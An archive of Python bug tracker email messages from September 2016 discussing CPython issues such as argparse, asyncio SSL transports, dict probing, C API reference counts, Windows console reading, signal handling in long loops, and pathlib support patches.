Message-ID: <1474412415.3.0.704741458067.issue28220@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Unless I'm missing something, this is a duplicate of issue 17218 :)

----------
nosy: +berker.peksag
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> support title and description in argparse add_mutually_exclusive_group

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28220>
_______________________________________

From report at bugs.python.org  Tue Sep 20 19:08:34 2016
From: report at bugs.python.org (Andrew Svetlov)
Date: Tue, 20 Sep 2016 23:08:34 +0000
Subject: [issue28213] asyncio SSLProtocol _app_transport is private
In-Reply-To: <1474363317.54.0.62853026596.issue28213@psf.upfronthosting.co.za>
Message-ID: <1474412914.29.0.156147166282.issue28213@psf.upfronthosting.co.za>


Andrew Svetlov added the comment:

-1, agree with Yury.
As an option it's possible to wrap `sslproto.SSLProtocol` by custom derived class which overrides `connection_made()` for storing a transport somewhere.
The solution looks like sub-optimal but it's backward-compatible.
The other problem is: `sslproto` is a very private module for working with SSL if `ssl.MemoryBIO` is available.
I believe that third-party code shouldn't rely on `sslproto.SSLProtocol` and even on `asyncio.sslproto` existence.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28213>
_______________________________________

From report at bugs.python.org  Tue Sep 20 19:44:11 2016
From: report at bugs.python.org (Barry A. Warsaw)
Date: Tue, 20 Sep 2016 23:44:11 +0000
Subject: [issue17218] support title and description in argparse
 add_mutually_exclusive_group
In-Reply-To: <1361061502.09.0.252084655816.issue17218@psf.upfronthosting.co.za>
Message-ID: <1474415051.95.0.0116399978835.issue17218@psf.upfronthosting.co.za>


Changes by Barry A. Warsaw <barry at python.org>:


----------
nosy: +barry

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue17218>
_______________________________________

From report at bugs.python.org  Tue Sep 20 20:20:24 2016
From: report at bugs.python.org (Tim Graham)
Date: Wed, 21 Sep 2016 00:20:24 +0000
Subject: [issue22431] Change format of test runner output
In-Reply-To: <1410961478.22.0.708066565645.issue22431@psf.upfronthosting.co.za>
Message-ID: <1474417224.9.0.79286918219.issue22431@psf.upfronthosting.co.za>


Tim Graham added the comment:

Is there opposition to changing the default output as outlined in the first comment? If so, then I think this ticket should be closed or retitled to reflect the intent.

----------
nosy: +Tim.Graham

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22431>
_______________________________________

From report at bugs.python.org  Tue Sep 20 20:23:15 2016
From: report at bugs.python.org (Tim Graham)
Date: Wed, 21 Sep 2016 00:23:15 +0000
Subject: [issue22431] Change format of test runner output
In-Reply-To: <1410961478.22.0.708066565645.issue22431@psf.upfronthosting.co.za>
Message-ID: <1474417395.85.0.500092590579.issue22431@psf.upfronthosting.co.za>


Tim Graham added the comment:

Here's the patch if we make the change in Django instead: https://github.com/cjerdonek/django/commit/9c8d162f3f616e9d9768659a06fcf27bb389214b

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22431>
_______________________________________

From report at bugs.python.org  Tue Sep 20 20:43:03 2016
From: report at bugs.python.org (R. David Murray)
Date: Wed, 21 Sep 2016 00:43:03 +0000
Subject: [issue22431] Change format of test runner output
In-Reply-To: <1410961478.22.0.708066565645.issue22431@psf.upfronthosting.co.za>
Message-ID: <1474418583.77.0.978058715765.issue22431@psf.upfronthosting.co.za>


R. David Murray added the comment:

My understanding of the comments is that the change to the default is OK (in a feature release, at least).

----------
versions: +Python 3.7 -Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22431>
_______________________________________

From report at bugs.python.org  Tue Sep 20 21:03:31 2016
From: report at bugs.python.org (Robert Collins)
Date: Wed, 21 Sep 2016 01:03:31 +0000
Subject: [issue22431] Change format of test runner output
In-Reply-To: <1410961478.22.0.708066565645.issue22431@psf.upfronthosting.co.za>
Message-ID: <1474419811.27.0.640443786539.issue22431@psf.upfronthosting.co.za>


Robert Collins added the comment:

+1 to changing the UI for 3.7 - just noting that if you're machine processing the output, the TUI isn't an appropriate channel.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22431>
_______________________________________

From report at bugs.python.org  Tue Sep 20 21:35:05 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 21 Sep 2016 01:35:05 +0000
Subject: [issue28221] Unused indata in
 test_ssl.ThreadedTests.test_asyncore_server
Message-ID: <1474421705.12.0.343818942397.issue28221@psf.upfronthosting.co.za>


New submission from Martin Panter:

In r62273 (Apr 2008), method testAsyncoreServer() was added to the py3k branch with indata="FOO\n". In r64578 (Jun 2008), this test method was added to the Py 2 branch, but with indata = "TEST MESSAGE of mixed case\n". Later, r80598 added the mixed case line to the Py 3 branch, but it is not used because the original FOO line overwrites it. Then revision 221a1f9155e2 backported the Py 3 code to 2.7. So now both versions include the mixed case line but neither use it.

I haven?t investigated, but I presume either the mixed case version would test more stuff and should be enabled, or it would be overkill and should be dropped in favour of the simpler line.

----------
assignee: christian.heimes
components: SSL, Tests
messages: 277085
nosy: christian.heimes, martin.panter
priority: normal
severity: normal
status: open
title: Unused indata in test_ssl.ThreadedTests.test_asyncore_server
type: enhancement
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28221>
_______________________________________

From report at bugs.python.org  Tue Sep 20 23:44:45 2016
From: report at bugs.python.org (Jack Liu)
Date: Wed, 21 Sep 2016 03:44:45 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474429485.57.0.0871107227749.issue28202@psf.upfronthosting.co.za>


Jack Liu added the comment:

The problem is resolved if call PyGC_Collect() after PyDict_DelItemString(). Is it expected to call PyGC_Collect() here?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Wed Sep 21 00:12:24 2016
From: report at bugs.python.org (Martin Panter)
Date: Wed, 21 Sep 2016 04:12:24 +0000
Subject: [issue28221] Unused indata in
 test_ssl.ThreadedTests.test_asyncore_server
In-Reply-To: <1474421705.12.0.343818942397.issue28221@psf.upfronthosting.co.za>
Message-ID: <1474431144.67.0.159120848619.issue28221@psf.upfronthosting.co.za>


Martin Panter added the comment:

Actually in the Py 3 branch, I found an earlier revision that added indata="FOO\n": r59506 (Dec 2007).

Anyway, the server in the test case just does a simple lower() call on the data, so I think the simpler FOO line may be fine on its own.

----------
stage:  -> needs patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28221>
_______________________________________

From report at bugs.python.org  Wed Sep 21 00:18:59 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 21 Sep 2016 04:18:59 +0000
Subject: [issue28201] dict: perturb shift should be done when first conflict
In-Reply-To: <1474259113.17.0.570923386086.issue28201@psf.upfronthosting.co.za>
Message-ID: <1474431539.56.0.230785799893.issue28201@psf.upfronthosting.co.za>


Josh Rosenberg added the comment:

General comment on the patch: I believe per PEP7, we're still sticking to ANSI C (aka C89), and specifically, "all declarations must be at the top of a block (not necessarily at the top of function".

The patch assumes lax standards compliance (or C99+ compliance), declaring variables in the for loop initializer section and midway through blocks. This should be changed to declare all variables at the top of blocks, and not in for loop initializer sections.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28201>
_______________________________________

From report at bugs.python.org  Wed Sep 21 00:21:50 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 21 Sep 2016 04:21:50 +0000
Subject: [issue28201] dict: perturb shift should be done when first conflict
In-Reply-To: <1474259113.17.0.570923386086.issue28201@psf.upfronthosting.co.za>
Message-ID: <1474431710.41.0.936693116062.issue28201@psf.upfronthosting.co.za>


Josh Rosenberg added the comment:

Removing those unrelated changes looks like it would dramatically reduce the churn too, making review easier.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28201>
_______________________________________

From report at bugs.python.org  Wed Sep 21 00:25:49 2016
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 21 Sep 2016 04:25:49 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474431949.77.0.887594064981.issue28202@psf.upfronthosting.co.za>


Josh Rosenberg added the comment:

The fact that it's resolved by PyGC_Collect indicates there is a reference cycle somewhere. PyGC_Collect is just looking for cyclic garbage and breaking the cycles so it can be cleaned; it would happen eventually unless GC was explicitly disabled or the process exited before the next implicit GC invocation, so it means this bug is really about timing (and possibly cycles we'd prefer to avoid), not reference leaks.

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Wed Sep 21 00:27:33 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 21 Sep 2016 04:27:33 +0000
Subject: [issue28222] test_distutils fails
Message-ID: <1474432052.98.0.601076913744.issue28222@psf.upfronthosting.co.za>


New submission from Xiang Zhang:

test_distutils consistently fails now:

./python -m test test_distutils
Run tests sequentially
0:00:00 [1/1] test_distutils
test test_distutils failed -- Traceback (most recent call last):
  File "/home/angwer/cpython/Lib/distutils/tests/test_check.py", line 122, in test_check_restructuredtext_with_syntax_highlight
    self.assertEqual(cmd._warnings, 0)
AssertionError: 1 != 0

test_distutils failed

1 test failed:
    test_distutils

Total duration: 1 sec
Tests result: FAILURE

----------
components: Tests
messages: 277091
nosy: xiang.zhang
priority: normal
severity: normal
status: open
title: test_distutils fails
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28222>
_______________________________________

From report at bugs.python.org  Wed Sep 21 00:39:00 2016
From: report at bugs.python.org (Petri Savolainen)
Date: Wed, 21 Sep 2016 04:39:00 +0000
Subject: [issue13276] bdist_wininst-created installer does not run the
 postinstallation script when uninstalling
In-Reply-To: <1319729455.78.0.312367178712.issue13276@psf.upfronthosting.co.za>
Message-ID: <1474432740.74.0.44727623865.issue13276@psf.upfronthosting.co.za>


Changes by Petri Savolainen <petri at koodaamo.fi>:


----------
nosy: +petri

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue13276>
_______________________________________

From report at bugs.python.org  Wed Sep 21 01:04:07 2016
From: report at bugs.python.org (Jack Liu)
Date: Wed, 21 Sep 2016 05:04:07 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474434247.85.0.921529225808.issue28202@psf.upfronthosting.co.za>


Jack Liu added the comment:

Looks to me, there is NO reference cycle on the Simple object in the python test code. Why needs to call PyGC_Collect() here?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Wed Sep 21 01:46:33 2016
From: report at bugs.python.org (Eryk Sun)
Date: Wed, 21 Sep 2016 05:46:33 +0000
Subject: [issue28162] WindowsConsoleIO readall() fails if first line starts
 with Ctrl+Z
In-Reply-To: <1473909917.67.0.236391762597.issue28162@psf.upfronthosting.co.za>
Message-ID: <1474436793.57.0.776081344241.issue28162@psf.upfronthosting.co.za>


Eryk Sun added the comment:

For breaking out of the readall while loop, you only need to check if the current read is empty:

        /* when the read is empty we break */
        if (n == 0)
            break;

Also, the logic is wrong here:

    if (len == 0 || buf[0] == '\x1a' && _buflen(self) == 0) {
        /* when the result starts with ^Z we return an empty buffer */
        PyMem_Free(buf);
        return PyBytes_FromStringAndSize(NULL, 0);
    }

This is true when len is 0 or when buf[0] is Ctrl+Z and _buflen(self) is 0. Since buf[0] shouldn't ever be Ctrl+Z here (low-level EOF handling is abstracted in read_console_w), it's never checking the internal buffer. We can easily see this going wrong here:

    >>> a = sys.stdin.buffer.raw.read(1); b = sys.stdin.buffer.raw.read()
    ?^Z
    >>> a
    b'\xc4'
    >>> b
    b''

It misses the remaining byte in the internal buffer.

This check can be simplified as follows:

    rn = _buflen(self);

    if (len == 0 && rn == 0) {
        /* return an empty buffer */
        PyMem_Free(buf);
        return PyBytes_FromStringAndSize(NULL, 0);
    }

After this the code assumes that len isn't 0, which leads to more WideCharToMultiByte failure cases. 

In the last conversion it's overwrite bytes_size without including rn. 

I'm not sure what's going on with _PyBytes_Resize(&bytes, n * sizeof(wchar_t)). ISTM, it should be resized to bytes_size, and make sure this includes rn.

Finally, _copyfrombuf is repeatedly overwriting buf[0] instead of writing to buf[n]. 

With the attached patch, the behavior seems correct now:

    >>> sys.stdin.buffer.raw.read()
    ^Z
    b''

    >>> sys.stdin.buffer.raw.read()
    abc^Z
    ^Z
    b'abc\x1a\r\n'

Split U+0100:

    >>> a = sys.stdin.buffer.raw.read(1); b = sys.stdin.buffer.raw.read()
    ?^Z
    >>> a
    b'\xc4'
    >>> b
b'\x80'

Split U+1234:

    >>> a = sys.stdin.buffer.raw.read(1); b = sys.stdin.buffer.raw.read()
    ?^Z
    >>> a
    b'\xe1'
    >>> b
    b'\x88\xb4'

The buffer still can't handle splitting an initial non-BMP character, stored as a surrogate pair. Both codes end up as replacement characters because they aren't transcoded as a unit.

Split U+00010000:

    >>> a = sys.stdin.buffer.raw.read(1); b = sys.stdin.buffer.raw.read()
    ?^Z
    ^Z
    >>> a
    b'\xef'
    >>> b
    b'\xbf\xbd\xef\xbf\xbd\x1a\r\n'

----------
keywords: +patch
status: closed -> open
Added file: http://bugs.python.org/file44766/issue_28162_01.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28162>
_______________________________________

From report at bugs.python.org  Wed Sep 21 01:55:25 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 21 Sep 2016 05:55:25 +0000
Subject: [issue26351] Occasionally check for Ctrl-C in long-running operations
 like sum
In-Reply-To: <1455299252.18.0.421982887455.issue26351@psf.upfronthosting.co.za>
Message-ID: <1474437325.53.0.321545801838.issue26351@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

While I agree with Raymond regarding the performance implications if this isn't handled carefully, I think we're also getting to a point where better accounting for signal handling latency in inner loops is something that could be considered for 3.7 - the benchmarking infrastructure being built out to measure performance optimisations would also allow overhead tuning of a "batched iteration" idiom where signals were checked for either every N thousand iterations, periodically based on time, or some combination of the two.

Benchmarking to measure the speed impact is going to be essential, though - this is a case where changing the behaviour is clearly possible, so the key questions are whether or not the resulting runtime overhead can be made low enough to be deemed acceptable, and whether or not it can be done in a way that doesn't make the affected parts of the code base effectively unreadable.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26351>
_______________________________________

From report at bugs.python.org  Wed Sep 21 01:56:59 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 21 Sep 2016 05:56:59 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474437419.71.0.722831428198.issue28202@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Please output Py_REFCNT(py_module) and Py_REFCNT(py_dict) before deleting the module from sys.modules. Is there a difference between 3.5 and 3.6?

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Wed Sep 21 02:04:39 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Wed, 21 Sep 2016 06:04:39 +0000
Subject: [issue26351] Occasionally check for Ctrl-C in long-running operations
 like sum
In-Reply-To: <1455299252.18.0.421982887455.issue26351@psf.upfronthosting.co.za>
Message-ID: <1474437879.05.0.11917650444.issue26351@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

As far as the "What's the benefit to users?" question goes, I think the main intended beneficiaries would be children and other folks playing at the command prompt and trying out different things.

The "no segfaults from normal Python code" rule aims to make that kind of exploration a significantly more positive experience than it is in a language like C - you're far more likely to get a traceback than you are to have the interpreter fall over completely. Tracebacks can be intimidating to new users, but they still give them new information to work with.

Infinite loops at the Python level are similarly about as friendly to ad hoc exploration as we can possibly make them: Ctrl-C will break you out of them with a traceback.

Implementation level infinite (or near-infinite, or finite-but-eating-all-of-RAM) loops by contrast are much closer to their traditional C level counterparts: your only way out is via destructive termination of the entire process.

So that's why I think this is an idea worth exploring further, even though it may still turn out to be impractical for code readability or runtime speed reasons.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26351>
_______________________________________

From report at bugs.python.org  Wed Sep 21 02:29:48 2016
From: report at bugs.python.org (Jack Liu)
Date: Wed, 21 Sep 2016 06:29:48 +0000
Subject: [issue28202] Python 3.5.1 C API,
 the global variable is not destroyed when delete the module
In-Reply-To: <1474261347.8.0.510026601712.issue28202@psf.upfronthosting.co.za>
Message-ID: <1474439388.82.0.594917604386.issue28202@psf.upfronthosting.co.za>


Jack Liu added the comment:

@serhiy.storchaka, The reference counts before PyDict_DelItemString are same on Python 3.3, 3.5 and 3.6.
Py_REFCNT(py_module)1
Py_REFCNT(py_dict)4

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28202>
_______________________________________

From report at bugs.python.org  Wed Sep 21 02:51:45 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 06:51:45 +0000
Subject: [issue26351] Occasionally check for Ctrl-C in long-running operations
 like sum
In-Reply-To: <1474437879.05.0.11917650444.issue26351@psf.upfronthosting.co.za>
Message-ID: <CAMpsgwbpvPgq0vp7AroB0MvoTaWEMdf_nPfTXse9v1B5q8yVsw@mail.gmail.com>


STINNER Victor added the comment:

Can someone work on a patch? Then we can benchmark it to take a
decision ;-) Maybe we might expose signalmodule.c internals to have a
cheaper check?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26351>
_______________________________________

From report at bugs.python.org  Wed Sep 21 02:52:41 2016
From: report at bugs.python.org (stephan)
Date: Wed, 21 Sep 2016 06:52:41 +0000
Subject: [issue28210] argparse with subcommands difference in python 2.7 / 3.5
In-Reply-To: <1474361034.47.0.927422929015.issue28210@psf.upfronthosting.co.za>
Message-ID: <1474440761.92.0.742306558236.issue28210@psf.upfronthosting.co.za>


stephan added the comment:

I am not an expert with argparse since I just started using it
(and it has quite a lot of features which are 
not all self-explaining to me).

But if I didn't misunderstand something it should behave like the python 2.7 version:
 If I do not pass any command I am told that I missed the parameter.

Or: 
 - are there some parameters I missed to make them behave equally?
 - what is the intention to fail silently?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28210>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:03:08 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 07:03:08 +0000
Subject: [issue28223] test_tools fails with timeout on AMD64 Snow Leop 3.x
 buildbot
Message-ID: <1474441388.78.0.411592043263.issue28223@psf.upfronthosting.co.za>


New submission from STINNER Victor:

I recently changed the buildbot timeout from 900 seconds (15 min) to 1200 seconds  (20 min) in Makefile.pre.in in the default branch, but it seems like some buildbots override the timeout.

For example, AMD64 Snow Leop 3.x uses TESTTIMEOUT=900 whereas test_tools fails with a timeout on this buildbot :-)

If the timeout is overriden, I suggest to use a timeout of at least 30 min on slow buildbots.

----------
components: Tests
messages: 277100
nosy: haypo, zach.ware
priority: normal
severity: normal
status: open
title: test_tools fails with timeout on AMD64 Snow Leop 3.x buildbot
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28223>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:18:25 2016
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 21 Sep 2016 07:18:25 +0000
Subject: [issue28176] Fix callbacks race in asyncio.SelectorLoop.sock_connect
In-Reply-To: <1473976530.0.0.19666207968.issue28176@psf.upfronthosting.co.za>
Message-ID: <20160921071816.20406.92134.91016CE6@psf.io>


Roundup Robot added the comment:

New changeset 06efc625578a by Victor Stinner in branch '3.5':
test_asynico: fix test_sock_connect_sock_write_race()
https://hg.python.org/cpython/rev/06efc625578a

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28176>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:21:09 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 07:21:09 +0000
Subject: [issue28224] Compilation warnings on Windows: export 'PyInit_xx'
 specified multiple times
Message-ID: <1474442469.56.0.286518199442.issue28224@psf.upfronthosting.co.za>


New submission from STINNER Victor:

I like when a compilation has no warning, because it helps to notice useful warnings and real bugs. The compilation of Python 3.5 on Windows emits the following warnings on buildbots:

xxmodule.obj : warning LNK4197: export 'PyInit_xx' specified multiple times; using first specification
xxmodule.obj : warning LNK4197: export 'PyInit_xx' specified multiple times; using first specification
xxmodule.obj : warning LNK4197: export 'PyInit_xx' specified multiple times; using first specification

http://buildbot.python.org/all/builders/AMD64%20Windows8%203.5/builds/1120/steps/test/logs/warnings%20%283%29

http://buildbot.python.org/all/builders/AMD64%20Windows8%203.x/builds/2634/steps/test/logs/warnings%20%283%29

----------
components: Build, Windows
messages: 277102
nosy: haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Compilation warnings on Windows: export 'PyInit_xx' specified multiple times
versions: Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28224>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:24:09 2016
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 21 Sep 2016 07:24:09 +0000
Subject: [issue28224] Compilation warnings on Windows: export 'PyInit_xx'
 specified multiple times
In-Reply-To: <1474442469.56.0.286518199442.issue28224@psf.upfronthosting.co.za>
Message-ID: <1474442649.04.0.00278087083139.issue28224@psf.upfronthosting.co.za>


STINNER Victor added the comment:

It seems like the warnings come from test_distutils:
-----------------
0:05:09 [ 44/405] test_distutils failed (env changed) (38 sec)
xxmodule.c
xxmodule.obj : warning LNK4197: export 'PyInit_xx' specified multiple times; using first specification
   Creating library D:\Temp\tmp_crvgs9y\Debug\Temp\tmp_crvgs9y\xx_d.cp37-win_amd64.lib and object D:\Temp\tmp_crvgs9y\Debug\Temp\tmp_crvgs9y\xx_d.cp37-win_amd64.exp
LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance
foo.c
   Creating library D:\Temp\tmpnq__9cbm\tempt\Temp\tmpfv6uys06\foo_d.cp37-win_amd64.lib and object D:\Temp\tmpnq__9cbm\tempt\Temp\tmpfv6uys06\foo_d.cp37-win_amd64.exp
LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance
foo.c
   Creating library D:\Temp\tmpnq__9cbm\tempt\Temp\tmpfv6uys06\foo_d.cp37-win_amd64.lib and object D:\Temp\tmpnq__9cbm\tempt\Temp\tmpfv6uys06\foo_d.cp37-win_amd64.exp
LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance
xxmodule.c
xxmodule.obj : warning LNK4197: export 'PyInit_xx' specified multiple times; using first specification
   Creating library D:\Temp\tmp8n1b1bh8\Debug\Temp\tmp8n1b1bh8\xx_d.cp37-win_amd64.lib and object D:\Temp\tmp8n1b1bh8\Debug\Temp\tmp8n1b1bh8\xx_d.cp37-win_amd64.exp
LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance
foo.c
   Creating library D:\Temp\tmpk47tprte\tempt\Temp\tmpe3sksr_y\foo_d.cp37-win_amd64.lib and object D:\Temp\tmpk47tprte\tempt\Temp\tmpe3sksr_y\foo_d.cp37-win_amd64.exp
LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance
foo.c
   Creating library D:\Temp\tmpk47tprte\tempt\Temp\tmpe3sksr_y\foo_d.cp37-win_amd64.lib and object D:\Temp\tmpk47tprte\tempt\Temp\tmpe3sksr_y\foo_d.cp37-win_amd64.exp
LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance
xxmodule.c
xxmodule.obj : warning LNK4197: export 'PyInit_xx' specified multiple times; using first specification
   Creating library build\temp.win-amd64-3.7-pydebug\Debug\xx_d.cp37-win_amd64.lib and object build\temp.win-amd64-3.7-pydebug\Debug\xx_d.cp37-win_amd64.exp
LINK : /LTCG specified but no code generation required; remove /LTCG from the link command line to improve linker performance

D:\buildarea\3.x.bolen-windows8\build\build\test_python_3476>exit 1 

D:\buildarea\3.x.bolen-windows8\build\build\test_python_3476>exit 0
-----------------

By the way, test_distutils failed because of "env changed" but the changed environment is not logged :-( See my related issue #27829 for the missing warning.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28224>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:27:02 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Wed, 21 Sep 2016 07:27:02 +0000
Subject: [issue28222] test_distutils fails
In-Reply-To: <1474432052.98.0.601076913744.issue28222@psf.upfronthosting.co.za>
Message-ID: <1474442822.79.0.672659274249.issue28222@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

The reason for this failure is lack of pygments. docutils seems to require pygments when parsing code block even in doc. But docutils doesn't treat pygments as a dependency and pip install it won't pull in pygments.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28222>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:27:45 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:27:45 +0000
Subject: [issue28225] bz2 does not support pathlib
Message-ID: <1474442865.75.0.758864883858.issue28225@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-bz2.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: bz2 does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44767/open-bz2.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28225>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:28:34 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:28:34 +0000
Subject: [issue28226] compileall does not support pathlib
Message-ID: <1474442914.07.0.985272974291.issue28226@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-compileall.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: compileall does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44768/open-compileall.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28226>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:29:26 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:29:26 +0000
Subject: [issue28227] gzip does not support pathlib
Message-ID: <1474442966.86.0.466771023725.issue28227@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-gzip.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: gzip does not support pathlib
type: behavior
Added file: http://bugs.python.org/file44769/open-gzip.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28227>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:30:06 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:30:06 +0000
Subject: [issue28228] imghdr does not support pathlib
Message-ID: <1474443006.76.0.93773444461.issue28228@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-imghdr.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: imghdr does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44770/open-imghdr.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28228>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:30:51 2016
From: report at bugs.python.org (Ethan Furman)
Date: Wed, 21 Sep 2016 07:30:51 +0000
Subject: [issue28229] lzma does not support pathlib
Message-ID: <1474443051.1.0.685282846289.issue28229@psf.upfronthosting.co.za>


Changes by Ethan Furman <ethan at stoneleaf.us>:


----------
files: open-lzma.stoneleaf.patch
keywords: patch
nosy: brett.cannon, ethan.furman
priority: normal
severity: normal
stage: patch review
status: open
title: lzma does not support pathlib
type: behavior
versions: Python 3.6
Added file: http://bugs.python.org/file44771/open-lzma.stoneleaf.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28229>
_______________________________________

From report at bugs.python.org  Wed Sep 21 03:31:02 2016
From: report at bugs.python.org (INADA Naoki)
Date: Wed, 21 Sep 2016 07:31:02 +0000
Subject: [issue28201] dict: perturb shift should be done when first conflict
In-Reply-To: <1474259113.17.0.570923386086.issue28201@psf.upfronthosting.co.za>
Message-ID: <1474443062.0.0.0843970865392.issue28201@psf.upfronthosting.co.za>


INADA Naoki added the comment:

josh.r:

>  I believe per PEP7, we're still sticking to ANSI C (aka C89), and specifically, "all declarations must be at the top of a block (not necessarily at the top of function".

Python 3.6 branch allows some C99 features.
https://www.python.org/dev/peps/pep-0007/#c-dialect

> Removing those unrelated changes looks like it would dramatically reduce the churn too, making review easier.

